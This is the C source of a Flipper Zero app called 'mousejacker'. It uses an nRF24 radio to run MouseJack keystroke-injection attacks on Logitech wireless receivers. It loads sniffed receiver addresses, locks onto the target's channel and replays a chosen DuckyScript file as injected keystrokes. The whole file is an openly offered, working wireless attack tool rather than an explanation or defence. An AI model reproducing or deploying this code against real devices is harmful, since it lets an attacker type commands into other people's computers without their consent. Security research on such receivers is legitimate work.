mousejacker.c 14 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398
  1. #include <furi.h>
  2. #include <gui/gui.h>
  3. #include <dialogs/dialogs.h>
  4. #include <input/input.h>
  5. #include <stdlib.h>
  6. #include <furi_hal.h>
  7. #include <furi_hal_gpio.h>
  8. #include <furi_hal_spi.h>
  9. #include <furi_hal_interrupt.h>
  10. #include <furi_hal_resources.h>
  11. #include <nrf24.h>
  12. #include "mousejacker_ducky.h"
  13. #include <nrf24_mouse_jacker_icons.h>
  14. #define TAG "mousejacker"
  15. #define LOGITECH_MAX_CHANNEL 85
  16. #define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
  17. #define NRFSNIFF_APP_PATH_EXTENSION ".txt"
  18. #define NRFSNIFF_APP_FILENAME "addresses.txt"
  19. #define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
  20. #define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
  21. #define MAX_ADDRS 100
  22. typedef enum {
  23. EventTypeTick,
  24. EventTypeKey,
  25. } EventType;
  26. typedef struct {
  27. EventType type;
  28. InputEvent input;
  29. } PluginEvent;
  30. uint8_t addrs_count = 0;
  31. uint8_t addr_idx = 0;
  32. uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
  33. char target_fmt_text[] = "Target addr: %s";
  34. char target_address_str[12] = "None";
  35. char target_text[30];
  36. static void render_callback(Canvas* const canvas, void* ctx) {
  37. furi_assert(ctx);
  38. const PluginState* plugin_state = ctx;
  39. furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
  40. // border around the edge of the screen
  41. canvas_draw_frame(canvas, 0, 0, 128, 64);
  42. canvas_set_font(canvas, FontSecondary);
  43. if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->is_thread_running &&
  44. !plugin_state->is_ducky_running) {
  45. snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
  46. canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
  47. canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
  48. canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
  49. canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
  50. } else if(plugin_state->addr_err) {
  51. canvas_draw_str_aligned(
  52. canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
  53. canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
  54. canvas_draw_str_aligned(
  55. canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
  56. canvas_draw_str_aligned(
  57. canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
  58. } else if(plugin_state->ducky_err) {
  59. canvas_draw_str_aligned(
  60. canvas, 3, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
  61. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "or duckyscript file");
  62. canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "loading error");
  63. } else if(plugin_state->is_thread_running && !plugin_state->is_ducky_running) {
  64. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Loading...");
  65. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
  66. } else if(plugin_state->is_thread_running && plugin_state->is_ducky_running) {
  67. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Running duckyscript");
  68. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
  69. canvas_draw_str_aligned(
  70. canvas, 3, 30, AlignLeft, AlignBottom, "Press back to exit (if it stuck)");
  71. } else {
  72. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Unknown Error");
  73. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "press back");
  74. canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "to exit");
  75. }
  76. furi_mutex_release(plugin_state->mutex);
  77. }
  78. static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
  79. furi_assert(event_queue);
  80. PluginEvent event = {.type = EventTypeKey, .input = *input_event};
  81. furi_message_queue_put(event_queue, &event, FuriWaitForever);
  82. }
  83. static void mousejacker_state_init(PluginState* const plugin_state) {
  84. plugin_state->is_thread_running = false;
  85. }
  86. static void hexlify(uint8_t* in, uint8_t size, char* out) {
  87. memset(out, 0, size * 2);
  88. for(int i = 0; i < size; i++)
  89. snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
  90. }
  91. static bool open_ducky_script(Stream* stream, PluginState* plugin_state) {
  92. DialogsApp* dialogs = furi_record_open("dialogs");
  93. bool result = false;
  94. FuriString* path;
  95. path = furi_string_alloc();
  96. furi_string_set(path, MOUSEJACKER_APP_PATH_FOLDER);
  97. DialogsFileBrowserOptions browser_options;
  98. dialog_file_browser_set_basic_options(
  99. &browser_options, MOUSEJACKER_APP_PATH_EXTENSION, &I_badusb_10px);
  100. browser_options.hide_ext = false;
  101. bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
  102. furi_record_close("dialogs");
  103. if(ret) {
  104. if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  105. FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
  106. } else {
  107. result = true;
  108. }
  109. }
  110. furi_string_free(path);
  111. plugin_state->is_ducky_running = true;
  112. return result;
  113. }
  114. static bool open_addrs_file(Stream* stream) {
  115. DialogsApp* dialogs = furi_record_open("dialogs");
  116. bool result = false;
  117. FuriString* path;
  118. path = furi_string_alloc();
  119. furi_string_set(path, NRFSNIFF_APP_PATH_FOLDER);
  120. DialogsFileBrowserOptions browser_options;
  121. dialog_file_browser_set_basic_options(
  122. &browser_options, NRFSNIFF_APP_PATH_EXTENSION, &I_sub1_10px);
  123. browser_options.hide_ext = false;
  124. bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
  125. furi_record_close("dialogs");
  126. if(ret) {
  127. if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  128. FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
  129. } else {
  130. result = true;
  131. }
  132. }
  133. furi_string_free(path);
  134. return result;
  135. }
  136. static bool process_ducky_file(
  137. Stream* file_stream,
  138. uint8_t* addr,
  139. uint8_t addr_size,
  140. uint8_t rate,
  141. PluginState* plugin_state) {
  142. size_t file_size = 0;
  143. size_t bytes_read = 0;
  144. uint8_t* file_buf;
  145. bool loaded = false;
  146. FURI_LOG_D(TAG, "opening ducky script");
  147. if(open_ducky_script(file_stream, plugin_state)) {
  148. file_size = stream_size(file_stream);
  149. if(file_size == (size_t)0) {
  150. FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
  151. plugin_state->is_ducky_running = false;
  152. return loaded;
  153. }
  154. file_buf = malloc(file_size);
  155. memset(file_buf, 0, file_size);
  156. bytes_read = stream_read(file_stream, file_buf, file_size);
  157. if(bytes_read == file_size) {
  158. FURI_LOG_D(TAG, "executing ducky script");
  159. mj_process_ducky_script(
  160. nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf, plugin_state);
  161. FURI_LOG_D(TAG, "finished execution");
  162. loaded = true;
  163. } else {
  164. FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
  165. }
  166. free(file_buf);
  167. }
  168. plugin_state->is_ducky_running = false;
  169. return loaded;
  170. }
  171. static bool load_addrs_file(Stream* file_stream) {
  172. size_t file_size = 0;
  173. size_t bytes_read = 0;
  174. uint8_t* file_buf;
  175. char* line_ptr;
  176. uint8_t rate;
  177. uint8_t addrlen = 0;
  178. uint32_t counter = 0;
  179. uint8_t addr[5] = {0};
  180. uint32_t i_addr_lo = 0;
  181. uint32_t i_addr_hi = 0;
  182. bool loaded = false;
  183. FURI_LOG_D(TAG, "opening addrs file");
  184. addrs_count = 0;
  185. if(open_addrs_file(file_stream)) {
  186. file_size = stream_size(file_stream);
  187. if(file_size == (size_t)0) {
  188. FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
  189. return loaded;
  190. }
  191. file_buf = malloc(file_size);
  192. memset(file_buf, 0, file_size);
  193. bytes_read = stream_read(file_stream, file_buf, file_size);
  194. if(bytes_read == file_size) {
  195. FURI_LOG_D(TAG, "loading addrs file");
  196. char* line = strtok((char*)file_buf, "\n");
  197. while(line != NULL) {
  198. line_ptr = strstr((char*)line, ",");
  199. *line_ptr = 0;
  200. rate = atoi(line_ptr + 1);
  201. addrlen = (uint8_t)(strlen(line) / 2);
  202. i_addr_lo = strtoul(line + 2, NULL, 16);
  203. line[2] = (char)0;
  204. i_addr_hi = strtoul(line, NULL, 16);
  205. int32_to_bytes(i_addr_lo, &addr[1], true);
  206. addr[0] = (uint8_t)(i_addr_hi & 0xFF);
  207. memset(loaded_addrs[counter], rate, 1);
  208. memcpy(&loaded_addrs[counter++][1], addr, addrlen);
  209. addrs_count++;
  210. line = strtok(NULL, "\n");
  211. loaded = true;
  212. }
  213. } else {
  214. FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
  215. }
  216. free(file_buf);
  217. }
  218. return loaded;
  219. }
  220. // entrypoint for worker
  221. static int32_t mj_worker_thread(void* ctx) {
  222. PluginState* plugin_state = ctx;
  223. bool ducky_ok = false;
  224. if(!plugin_state->addr_err) {
  225. plugin_state->is_thread_running = true;
  226. plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
  227. nrf24_find_channel(
  228. nrf24_HANDLE,
  229. loaded_addrs[addr_idx] + 1,
  230. loaded_addrs[addr_idx] + 1,
  231. 5,
  232. loaded_addrs[addr_idx][0],
  233. 2,
  234. LOGITECH_MAX_CHANNEL,
  235. true);
  236. ducky_ok = process_ducky_file(
  237. plugin_state->file_stream,
  238. loaded_addrs[addr_idx] + 1,
  239. 5,
  240. loaded_addrs[addr_idx][0],
  241. plugin_state);
  242. if(!ducky_ok) {
  243. plugin_state->ducky_err = true;
  244. } else {
  245. plugin_state->ducky_err = false;
  246. }
  247. stream_free(plugin_state->file_stream);
  248. }
  249. plugin_state->is_thread_running = false;
  250. return 0;
  251. }
  252. void start_mjthread(PluginState* plugin_state) {
  253. if(!plugin_state->is_thread_running) {
  254. furi_thread_start(plugin_state->mjthread);
  255. }
  256. }
  257. int32_t mousejacker_app(void* p) {
  258. UNUSED(p);
  259. FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
  260. PluginState* plugin_state = malloc(sizeof(PluginState));
  261. mousejacker_state_init(plugin_state);
  262. plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
  263. if(!plugin_state->mutex) {
  264. FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
  265. furi_message_queue_free(event_queue);
  266. free(plugin_state);
  267. return 255;
  268. }
  269. // Set system callbacks
  270. ViewPort* view_port = view_port_alloc();
  271. view_port_draw_callback_set(view_port, render_callback, plugin_state);
  272. view_port_input_callback_set(view_port, input_callback, event_queue);
  273. // Open GUI and register view_port
  274. Gui* gui = furi_record_open(RECORD_GUI);
  275. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  276. plugin_state->storage = furi_record_open(RECORD_STORAGE);
  277. storage_common_mkdir(plugin_state->storage, MOUSEJACKER_APP_PATH_FOLDER);
  278. plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
  279. plugin_state->mjthread = furi_thread_alloc();
  280. furi_thread_set_name(plugin_state->mjthread, "MJ Worker");
  281. furi_thread_set_stack_size(plugin_state->mjthread, 2048);
  282. furi_thread_set_context(plugin_state->mjthread, plugin_state);
  283. furi_thread_set_callback(plugin_state->mjthread, mj_worker_thread);
  284. // spawn load file dialog to choose sniffed addresses file
  285. if(load_addrs_file(plugin_state->file_stream)) {
  286. addr_idx = 0;
  287. hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
  288. plugin_state->addr_err = false;
  289. } else {
  290. plugin_state->addr_err = true;
  291. }
  292. stream_free(plugin_state->file_stream);
  293. nrf24_init();
  294. PluginEvent event;
  295. for(bool processing = true; processing;) {
  296. FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
  297. furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
  298. if(event_status == FuriStatusOk) {
  299. // press events
  300. if(event.type == EventTypeKey) {
  301. if(event.input.type == InputTypePress) {
  302. switch(event.input.key) {
  303. case InputKeyUp:
  304. break;
  305. case InputKeyDown:
  306. break;
  307. case InputKeyRight:
  308. if(!plugin_state->addr_err) {
  309. addr_idx++;
  310. if(addr_idx > addrs_count) addr_idx = 0;
  311. hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
  312. }
  313. break;
  314. case InputKeyLeft:
  315. if(!plugin_state->addr_err) {
  316. addr_idx--;
  317. if(addr_idx == 0) addr_idx = addrs_count - 1;
  318. hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
  319. }
  320. break;
  321. case InputKeyOk:
  322. if(!plugin_state->addr_err) {
  323. if(!plugin_state->is_thread_running) {
  324. start_mjthread(plugin_state);
  325. view_port_update(view_port);
  326. }
  327. }
  328. break;
  329. case InputKeyBack:
  330. plugin_state->close_thread_please = true;
  331. if(plugin_state->is_thread_running && plugin_state->mjthread) {
  332. furi_thread_join(
  333. plugin_state->mjthread); // wait until thread is finished
  334. }
  335. plugin_state->close_thread_please = false;
  336. processing = false;
  337. break;
  338. default:
  339. break;
  340. }
  341. }
  342. }
  343. }
  344. view_port_update(view_port);
  345. furi_mutex_release(plugin_state->mutex);
  346. }
  347. furi_thread_free(plugin_state->mjthread);
  348. nrf24_deinit();
  349. view_port_enabled_set(view_port, false);
  350. gui_remove_view_port(gui, view_port);
  351. furi_record_close(RECORD_GUI);
  352. furi_record_close(RECORD_STORAGE);
  353. view_port_free(view_port);
  354. furi_message_queue_free(event_queue);
  355. furi_mutex_free(plugin_state->mutex);
  356. free(plugin_state);
  357. return 0;
  358. }